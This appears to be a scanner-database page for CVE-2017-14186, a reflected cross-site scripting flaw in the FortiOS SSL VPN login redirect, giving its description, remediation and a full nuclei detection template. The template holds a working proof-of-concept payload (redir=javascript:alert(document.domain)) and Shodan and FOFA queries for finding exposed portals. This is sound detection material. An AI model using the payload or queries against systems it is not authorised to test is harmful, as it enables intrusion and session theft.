FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting

mediumseverity

5.4CVSS score

3.7%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks such as a URL redirect. Affected versions are 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, and 5.4 and below.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement.

Fix

Apply the latest security patches or firmware updates provided by Fortinet to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)
Positive when: contains "location=decodeURIComponent(\"javascript%3Aalert%28document.…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-14186 -u <target>

The full check

id: CVE-2017-14186

info:
  name: FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting
  author: johnk3r
  severity: medium
  description: |
    FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks such as a URL redirect. Affected versions are 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, and 5.4 and below.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement.
  remediation: |
    Apply the latest security patches or firmware updates provided by Fortinet to mitigate this vulnerability.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-17-242
    - https://fortiguard.com/advisory/FG-IR-17-242
    - https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
    - http://www.securitytracker.com/id/1039891
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-14186
    cwe-id: CWE-79
    epss-score: 0.03718
    epss-percentile: 0.89876
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortinet
    product: fortios
    shodan-query:
      - port:10443 http.favicon.hash:945408572
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
      - http.html:"/remote/login" "xxxxxxxx"
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash=945408572
  tags: cve2017,cve,fortigate,xss,fortinet,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from